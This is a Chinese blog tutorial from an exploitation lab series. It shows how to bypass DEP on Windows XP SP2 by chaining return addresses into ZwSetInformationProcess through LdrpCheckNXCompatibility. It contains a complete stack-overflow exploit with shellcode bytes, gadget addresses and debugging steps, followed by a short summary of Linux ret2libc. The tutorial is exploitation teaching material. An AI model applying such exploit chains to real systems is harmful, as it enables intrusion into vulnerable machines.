9.2 Ret2Libc实战之利用ZwSetInformationProcess

目录

一、Ret2Libc攻击原理

        本节讲通过ZwSetInformationProcess函数关闭DEP,从而绕过DEP!

二、一个重要结构和一个重要函数

1、_KEXECUTE_OPTIONS

2、ZwSetInformationProcess

三、实验思路

四、实验环境

五、实验代码

六、实验步骤


一、Ret2Libc攻击原理

        Ret2libc是Return-to-libc简写,由于DEP不允许我们直接到非可执行页执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作。整体流程如下图所示:

         这种方法理论上可行,但是实际操作难度太大。因为,在继承这种思想的前提下,有三种经过改进的、相对比较有效的绕过DEP的exploit的方法:

  • 通过跳转到ZwSetInformationProcess函数将DEP关闭后在转入shellcode执行;
  • 通过跳转到VirtualProtect函数来将shellcode所在内存页设置为可执行状态,然后再转入shellcode执行;
  • 通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。

        本节讲通过ZwSetInformationProcess函数关闭DEP,从而绕过DEP!

二、一个重要结构和一个重要函数

        一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,二这个标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess进行查询和修改。

1、_KEXECUTE_OPTIONS

        _KEXECUTE_OPTIONS中包含以下内容:

Pos0ExecuteDisable :1bit 
Pos1ExecuteEnable :1bit 
Pos2DisableThunkEmulation :1bit 
Pos3Permanent :1bit 
Pos4ExecuteDispatchEnable :1bit 
Pos5ImageDispatchEnable :1bit 
Pos6Spare :2bit

        前四个bit 与DEP相关,当前进程DEP开启时,ExecuteDisable位被置为1;当前进程DEP关闭时ExecuteEnable位被置为1;DisableThunkeEmulation是为了兼容ATL程序设置的;Permanent被置为1,表示这些标志都不能再被修改。

        真正影响DEP状态的是前两位,我们只需将_KEXECUTE_OPTIONS的值设置为0x02(二进制为00000010)就可以将ExecuteEnable设置为1。

2、ZwSetInformationProcess

ZwSetInformationProcess(
IN HANDLE                    ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
IN PVOID                     ProcessInformation,
IN ULONG                     ProcessInformationLength ); 

        第一个参数为进程的句柄,设置为-1的时候表示为当前进程;第二个参数为信息类;第三个参数可以用来设置_KEXECUTE_OPTIONS;第四个参数为第三个参数的长度。

三、实验思路

        思路一:自己构造一个特殊的栈帧,然后调用ZwSetInformationProcess()函数关闭DEP,其中函数的参数设置如下:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; 
ZwSetInformationProcess( 
 NtCurrentProcess(),         // (HANDLE)-1 
 ProcessExecuteFlags,        // 0x22 
 &ExecuteFlags,              // ptr to 0x2 
 sizeof(ExecuteFlags));      // 0x4

         很明显啊,采用这种方法,关闭DEP很困难。

        思路二:使用系统提供的、调用ZwSetInformationProcess()关闭DEP的函数。因为windows兼容性的问题,当一个进程的Permanent位没有设置时,如果进程需要加载DLL,系统就会对加载的DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP就会被关闭。为此,有一个特殊的函数——LdrpCheckNXCompatibility函数。

        当符合以下条件之一时,该函数就会调ZwSetInformationProcess()关闭进程的DEP:

        (1)当DLL受SafeDisc版权保护系统保护时;

        (2)当DLL包含.aspcak、.pcle、.sforce等字节时;

        (3)Windows Vista下面当DLL包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurentVersion\Image File Execution Options\DINXOptions”键下边标识出不需要启动DEP模块时。

        这里使用SafeDisc绕过DEP。
        LdrpCheckNXCompatibility关闭DEP的具体流程:

        因为只有CMP AL,1成立的情况下程序才会继续执行,所以我们需要将AL修改为1。将AL修改为1后我们让程序转到0x7C93CD24处执行,在执行到0X7C93CD6F处的RETN 4时,DEP已经关闭,此时如果我们可以让程序在RETN到shellcode的起始地址,就可以执行我们的Sshellcode了。

 

四、实验环境

        操作系统:windows XP SP2

        软件:VC++6.0、原版OD

五、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"
;
void test()
{
	char tt[176];
	strcpy(tt,shellcode);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	__asm int 3
	char temp[200];
	test();
    return 0;
}

         代码简要解释:

        (1)本次实验不启用GS和SafeSEH;

        (2)函数test存在一个典型的溢出,通过str复制超长字符串造成str溢出,进而覆盖函数的返回地址;

        (3)将函数的返回地址覆盖为类似MOV AL,1 retn的指令,将AL置为1后立即转入0x7C93CD24处关闭DEP;

        (4)DEP关闭后,shellcode就可以正常执行了。

六、实验步骤

        寻找MOV AL,1 retn;

         为避免执行strcpy时。shellcode被截断,需要选择不包含0X00的地址,本次实验使用0X7C32E252覆盖函数的返回地址。这里不详细介绍怎么找返回地址。

        执行完test函数之后,程序会执行到mov al,1这一跳板的位置,可以看到,程序执行到retn时,EIP将会指向0x12FEA8中保存的地址。因此需要将这四个字节的数据改为0x7C93CD24.

        更改shellcode:

har shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
...
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
;
       
        更改shellcode之后,再次运行:

         程序现在需要对EBP-4位置写入数据,但是EBP在溢出的时候被破坏了(此时的EBP应该是test函数栈帧的EBP,在溢出的时候,被90覆盖了),目前EBP-4的位置并不可以写入,所以程序回出现写入异常,所以我们现在的shellcode布局行不通,在转入0x7C93CD24前需要将EBP指向一个可写的位置。

        使用类似PUSH ESP POP EBP RETN的指令将EBP定位到一个可写的位置,依然使用OllyFindAddr插件,在Disable DEP <=XP SP3搜索结果的Step3部分查看当前内存中所有符合条件的指令:

         选择指令前,先看看寄存器状态:

        所有寄存器只有ESP指向的位置可以写入,所以我们只能选择PUSH ESP POP EBP RETN指令序列。然后,还需要注意的就是,当有入栈操作时,EBP-4处的值可能会被冲刷掉,进而影响ZwSetInformationProcess的参数,造成DEP关闭失败。

        这里先选择0x5D1D8B85处的指令序列来修正EBP。

        更改shellcode为:

har shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
...
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
;

        执行OD,运行到0X5D1D8B87处查看程序运行情况。

         可以看到,程序将执行0x7C93CD24处指令(去关闭DEP),同时ESP会+4+4,指向0x0012FEB4.

         将程序运行到调用ZwSetInformationProcess()处(即0x7C95683B) ,可以在栈帧中看到该函数的四个参数已经入栈。

        回顾要将DEP关闭,ZwSetInformationProcess()函数的参数设置:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; 
ZwSetInformationProcess( 
 NtCurrentProcess(),         // (HANDLE)-1 ,表示当前进程
 ProcessExecuteFlags,        // 0x22 ,设置_KEXECUTE_OPTIONS
 &ExecuteFlags,              // ptr to 0x2 设置_KEXECUTE_OPTIONS的参数地址
 sizeof(ExecuteFlags));      // 0x4 设置_KEXECUTE_OPTIONS的参数长度

         注:根据_KEXECUTE_OPTIONS结构,DEP只和结构中的前四位有关,只要前四位二进制代码位0100就可以关闭DEP,而0x22(00100010)符合条件。

        此时,关闭了DEP,但是程序不受控制了,所以还需进一步处理。为了防止调用函数关闭DEP时,因为入栈操作破坏shellcode的整体布局,需要将ESP转到一个足够大的空间,这样就不担心调用函数的入栈操作了。

        在进入调用函数关闭DEP时,retn 28,可使得ESP增加0x28的空间。

         更改shellcode:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
..
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\x90\x90\x90\x90"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
;

         进入关闭DEP的函数之前:

        运行OD到0x7C93CD6F:

        可以发现,0x0012FEB0处的数据没有更改。执行完RETN 4这条指令之后,ESP将指向0x0012FEB8,所以只需在0X0012FEB0放置一条JMP ESP指令就可以让程序执行堆栈内的指令了。

        找一条JMP ESP指令:

        这里选择0x7DC5C1B4处的JMP指令。

        另外,在0x0012FEB8处放置一条长跳指令,让程序跳转到shellcode的起始位置执行shellcode,根据内存状态,可以计算出0x0012FEB8距离shellcode起始位置有200字节,所以跳转指令需要回调205字节(200+5字节跳转指令长度)。分析结束,shellcode布局如下:

        更改shellcode:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D"//修正EBP
"\x19\x4A\x97\x7C"//增大ESP
"\xB4\xC1\xC5\x7D"//jmp esp
"\x24\xCD\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"
;

        编译,最终弹窗:

 

pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值